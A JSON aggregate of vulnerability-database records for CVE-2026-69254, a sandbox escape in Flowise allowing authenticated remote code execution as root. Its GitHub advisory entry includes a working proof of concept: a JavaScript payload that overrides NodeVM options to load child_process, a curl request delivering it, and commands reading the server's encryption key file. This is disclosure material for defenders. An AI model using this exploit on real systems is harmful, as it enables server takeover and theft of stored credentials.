{"id":"CVE-2026-69254","revision":null,"records":[{"revision":"6013f474d9284894804eddfe10217e09","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-69254","aliases":[],"title":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T15:28:49.651+00:00","modifiedAt":"2026-08-04T17:45:10.631+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n \"vendor\": \"FlowiseAI\",\n \"product\": \"Flowise\",\n \"versions\": [\n {\n \"version\": \"< 3.1.3\",\n \"status\": \"affected\"\n }\n ]\n }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7","https://github.com/FlowiseAI/Flowise/pull/6306","https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-69254","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-69254","identifiers":["CVE-2026-69254"]},"retained":false,"historicalAffected":[]},{"revision":"f463c65d689b4b3d954f37e9e4759654","observedAt":"2026-10-25T15:18:51.467+00:00","statement":{"source":"nvd","id":"CVE-2026-69254","aliases":[],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/co…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T16:16:29.243+00:00","modifiedAt":"2026-10-23T23:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.4,"severity":"CRITICAL"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d","https://github.com/FlowiseAI/Flowise/pull/6306","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3","https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69254","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-94"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-04T16:16:29.243","lastModified":"2026-10-23T23:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-69254","identifiers":["CVE-2026-69254"]},"retained":false,"historicalAffected":[]},{"revision":"5eb83089ad2e4f728c26fe42f15f6dbf","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-3769-jgqc-cxm7","aliases":["CVE-2026-69254"],"title":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","description":"### Summary\nA sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the\n default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`.\n\n### Details\nThe vulnerability is in `packages/components/src/utils.ts` at line 1755:\n\n ```typescript\n const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }\n\n The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:\n\n async (code, sandbox, options = {}) => {\n const { nodeVMOptions = {} } = options;\n // ...\n const defaultNodeVMOptions = {\n require: {\n builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc.\n mock: secureWrappers\n },\n eval: false,\n wasm: false\n }\n const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings\n const vm = new NodeVM(finalNodeVMOptions)\n }\n```\nThe spread operator allows any caller to override require.builtin with [\"*\"], which permits all Node.js built-in modules including child_process.\n\n\n**Taint 01: Route Registration** \n `packages/server/src/routes/node-custom-functions/index.ts` (line 8) \n \n **Taint 02: Controller** \n `executeCustomFunction()` passes `req.body` to service — `packages/server/src/controllers/nodes/index.ts` (line 90) \n \n **Taint 03: Service**\n `executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` — `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49)\n \n **Taint 04: Sandbox Entry** \n Code runs inside NodeVM via `executeJavaScriptCode()` — `packages/components/src/utils.ts` (line 1760) \n \n **Taint 05: Escape**\n Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself\n \n **Taint 06: Override**\n The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: [\"*\"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }` \n \n **Taint 07: RCE** \n Inside the nested VM, `require(\"child_process\")` succeeds. Arbitrary commands execute as root. \n\n\n\n\n\n### PoC\n **Step 1: Start Flowise** \n \n ```bash\n docker run -d --name flowise-poc -p 3000:3000 \\\n -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \\ \n flowiseai/flowise:latest \n \n # Wait ~30s for startup \n curl http://localhost:3000/api/v1/version\n # {\"version\":\"3.1.1\"} \n ``` \n \n **Step 2: Obtain Bearer Token**\n\n Register an account, then create an API key: \n \n ```bash \n # Register \n curl -s -X POST http://localhost:3000/api/v1/account/register \\\n -H \"Content-Type: application/json\" \\\n -d '{\"user\":{\"email\":\"attacker@test.com\",\"password\":\"Attack12345\",\"name\":\"Attacker\"}}' \n \n # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create) \n # Copy the key — this is the Bearer token used below. \n ``` \n \n **Step 3: Create Payload** \n \n ```bash\n cat > exploit.json << 'EOF'\n {\n \"javascriptFunction\": \"const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\\\"child_process\\\"); cp.execSync(\\\"id > /tmp/RCE-PROOF.txt\\\"); \n return cp.execSync(\\\"id\\\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\\\"*\\\"] } } })\" \n } \n EOF \n ``` \n\n **Step 4: Exploit**\n\n ```bash\n # Pre-check: file does not exist\n docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt \n # ls: /tmp/RCE-PROOF.txt: No such file or directory \n \n # Execute \n curl -X POST http://localhost:3000/api/v1/node-custom-function \\\n -H \"Content-Type: application/json\" \\ \n -H \"Authorization: Bearer \" \\\n -d @exploit.json \n # \"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\\n\" \n \n docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt \n # -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt \n \n docker exec flowise-poc cat /tmp/RCE-PROOF.txt \n # uid=0(root) gid=0(root) groups=0(root)... \n \n docker exec flowise-poc cat /root/.flowise/encryption.key\n # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb \n ``` \n\"image\"\n\n\n### Impact\nFull remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at `/root/.flowise/encryption.key` (which \n decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at `/root/.flowise/jwt_auth_token_secret.key` (which allows forging authentication tokens for any user), and establish persistent\n access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.","state":0,"publishedAt":"2026-08-04T15:29:12+00:00","modifiedAt":"2026-08-04T15:56:02.787653+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"flowise-components","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7","https://github.com/FlowiseAI/Flowise/pull/6306","https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://github.com/advisories/GHSA-3769-jgqc-cxm7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3769-jgqc-cxm7","identifiers":["GHSA-3769-jgqc-cxm7","CVE-2026-69254"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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